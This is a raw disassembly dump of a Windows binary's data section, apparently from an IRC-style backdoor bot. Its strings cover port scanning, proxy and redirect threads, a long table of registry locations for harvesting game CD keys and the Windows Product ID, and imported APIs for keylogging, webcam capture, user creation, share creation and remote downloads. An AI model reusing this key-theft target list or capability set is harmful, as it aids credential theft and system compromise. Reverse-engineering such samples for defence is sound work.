unk_427A40 db 2 ; DATA XREF: sub_4078DF+1E0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_427A98 db 2 ; DATA XREF: sub_4078DF+168o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_427AE8 db 2 ; DATA XREF: sub_4078DF+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 8 unk_427B38 db 2 ; DATA XREF: sub_4078DF+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 8 unk_427B88 db 2 ; DATA XREF: sub_407B36+143o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 4 unk_427BD8 db 2 ; DATA XREF: sub_407B36+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_427C30 db 2 ; DATA XREF: sub_407CBD+157o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 align 8 unk_427C88 db 2 ; DATA XREF: sub_407CBD+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_427CE0 db 2 ; DATA XREF: sub_407F42+1B1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 8 unk_427D28 db 2 ; DATA XREF: sub_407F42+17Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 align 8 unk_427D78 db 2 ; DATA XREF: sub_407F42+114o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 10h unk_427DD0 db 2 ; DATA XREF: sub_407F42+A8o ; sub_40CD3A+584Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 10h unk_427E10 db 2 ; DATA XREF: sub_408146+1F9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 align 8 unk_427E68 db 2 ; DATA XREF: sub_408146+18Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_427EB8 db 2 ; DATA XREF: sub_408146+F2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 dd 80000001h off_427F0C dd offset aSoftwareValveC ; DATA XREF: sub_408503+Cr ; sub_408503+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_427F18 dd 2 dup(0) dd 80000001h, 4290B0h, 4290A4h, 429094h, 2 dup(0) dd 80000001h, 429074h, 429070h, 42905Ch, 2 dup(0) dd 80000001h, 429038h, 429070h, 42902Ch, 2 dup(0) dd 80000001h, 429008h, 429000h, 428FECh, 2 dup(0) dd 80000001h, 428FD8h, 428FC8h, 428FACh, 2 dup(0) dd 80000001h, 428F68h, 4290F0h, 428F54h, 2 dup(0) dd 80000002h, 428F28h, 428F1Ch, 428EFCh, 2 dup(0) dd 80000002h, 428EC8h, 4290F0h, 428EB0h, 2 dup(0) dd 80000002h, 428E7Ch, 4290F0h, 428E64h, 2 dup(0) dd 80000002h, 428E4Ch, 4290F0h, 428E34h, 2 dup(0) dd 80000002h, 428DF8h, 43B188h, 428DE8h, 2 dup(0) dd 80000002h, 428DB0h, 43B188h, 428D9Ch, 2 dup(0) dd 80000002h, 428D50h, 43B188h, 428D30h, 2 dup(0) dd 80000002h, 428CE0h, 43B188h, 428CB0h, 2 dup(0) dd 80000002h, 428C74h, 43B188h, 428C60h, 2 dup(0) dd 80000002h, 428C28h, 43B188h, 428C18h, 2 dup(0) dd 80000002h, 428BC8h, 43B188h, 428B98h, 2 dup(0) dd 80000002h, 428B58h, 43B188h, 428B38h, 2 dup(0) dd 80000002h, 428B08h, 43B188h, 428AE8h, 2 dup(0) dd 80000002h, 428AACh, 43B188h, 428A98h, 2 dup(0) dd 80000002h, 428A50h, 43B188h, 428A2Ch, 2 dup(0) dd 80000002h, 4289D8h, 43B188h, 4289A8h, 2 dup(0) dd 80000002h, 428958h, 43B188h, 42892Ch, 2 dup(0) dd 80000002h, 4288ECh, 4288E4h, 4288C4h, 2 dup(0) dd 80000002h, 428880h, 43B188h, 428864h, 2 dup(0) dd 80000002h, 428818h, 43B188h, 4287F4h, 2 dup(0) dd 80000002h, 4287C0h, 43B188h, 4287B4h, 2 dup(0) dd 80000002h, 428780h, 43B188h, 428774h, 2 dup(0) dd 80000002h, 428740h, 43B188h, 428734h, 2 dup(0) dd 80000002h, 428700h, 43B188h, 4286F4h, 2 dup(0) dd 80000002h, 4286B8h, 43B188h, 4286A4h, 2 dup(0) dd 80000002h, 428668h, 43B188h, 428654h, 2 dup(0) dd 80000002h, 428624h, 4290F0h, 428608h, 2 dup(0) dd 80000002h, 4285E8h, 4285E0h, 4285BCh, 2 dup(0) dd 80000002h, 4285A0h, 4285E0h, 428580h, 2 dup(0) dd 80000002h, 428560h, 4285E0h, 42853Ch, 2 dup(0) dd 80000002h, 428524h, 4285E0h, 428520h, 2 dup(0) dd 80000002h, 428504h, 4284F4h, 4284ECh, 2 dup(0) dd 80000002h, 4284B8h, 4284B4h, 42849Ch, 2 dup(0) dd 80000002h, 428460h, 428454h, 42842Ch, 42841Ch, 428408h dd 80000002h, 4283E4h, 4283D8h, 4283C4h, 4283B4h, 4283ACh dd 80000002h, 4283E4h, 4283D8h, 428380h, 4283B4h, 428378h dd 80000002h, 4283E4h, 4283D8h, 428348h, 4283B4h, 428340h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 db 53h aOftwareBioware db 'oftware\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: seg001:0042DF58o db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 10h aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 10h aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 10h db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 8 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 8 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 10h aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 10h aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 10h aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg001:00427F14o aCdkey db 'CDKey',0 ; DATA XREF: seg001:00427F10o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg001:off_427F0Co align 10h asc_429120: ; DATA XREF: sub_408503+E7o ; sub_408503+F2o unicode 0, <=>,0 aR: ; DATA XREF: sub_408503+8Fo ; sub_40CD3A:loc_4110F8o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408503+7Eo ; sub_4087CA+45o ... align 10h aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408503+2Bo align 4 unk_429144 db 2 ; DATA XREF: sub_4086B2+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_429178 db 2 ; DATA XREF: sub_4086B2+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4087CA+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_4087CA+1Ao align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40891C+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40891C+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40891C:loc_409557o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40891C+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40891C+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40891C+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40891C+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40891C+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40891C+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40891C:loc_4094B9o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40891C+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40891C+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40891C:loc_40946Fo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40891C+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40891C+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40891C+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40891C+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40891C:loc_4093FBo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40891C+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40891C+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40891C:loc_4093B1o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40891C+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40891C+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40891C:loc_409367o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40891C+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40891C+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40891C+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40891C+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40891C+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40891C+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40891C+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40891C+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40891C+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40891C+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40891C+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40891C:loc_40925Co align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40891C+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40891C+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40891C+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40891C:loc_4091FDo align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40891C+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40891C+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40891C+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40891C+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40891C+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40891C+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40891C+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40891C+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40891C+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40891C+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40891C+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40891C:loc_4090DDo aClosesocket db 'closesocket',0 ; DATA XREF: sub_40891C+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40891C+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40891C+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40891C+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40891C+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40891C+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40891C+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40891C+62Do ; seg001:0042C6ACo align 4 aListen db 'listen',0 ; DATA XREF: sub_40891C+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40891C+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40891C+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40891C+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40891C+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40891C+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40891C+5D2o ; sub_40CD3A+2035o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40891C+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40891C+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40891C+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40891C+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40891C+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40891C+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40891C+577o ; seg001:0042CABCo aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40891C+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40891C+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40891C+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40891C+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40891C+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40891C+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40891C+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40891C+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40891C+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40891C+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40891C+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40891C+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40891C+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40891C+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40891C+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40891C+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40891C+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40891C+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40891C+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40891C:loc_408D2Bo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40891C:loc_408D03o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40891C+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40891C+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40891C+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40891C+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40891C+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40891C+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40891C+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40891C:loc_408C55o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40891C+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40891C+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40891C:loc_408C10o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40891C+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40891C+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40891C+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40891C+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40891C+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40891C+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40891C:loc_408B7Bo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40891C+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40891C+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40891C+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40891C:loc_408B14o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40891C+1A0o align 4 